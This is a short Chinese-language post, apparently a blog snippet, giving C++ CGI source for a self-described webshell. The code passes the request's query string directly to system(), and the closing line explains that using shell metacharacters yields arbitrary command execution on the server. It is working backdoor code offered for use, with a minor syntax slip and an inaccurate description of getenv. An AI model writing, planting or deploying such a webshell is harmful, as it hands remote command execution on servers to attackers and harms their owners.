先上代码:
#include <stdio.h>
#include <stdlib.h>
#include <string>
using namespace std;
int main()
{
printf("Content-Type:text/plain;charset=utf-8\r\n\r\n");
printf("<html>");
printf("<h1>Welcome to this WEBshell</h1>\r\n");
char* str = getenv("QUERY_STRING");
if(!str){
printf("<h3>please check your network!</h3>");
}else{
system(str);
}
printf("</html>")
return 0;
}
核心函数是getenv,获取当前页面的所有环境变量,这里我们只要使用shell元字符解决url转义问题,配合shell命令即可实现任意命令执行。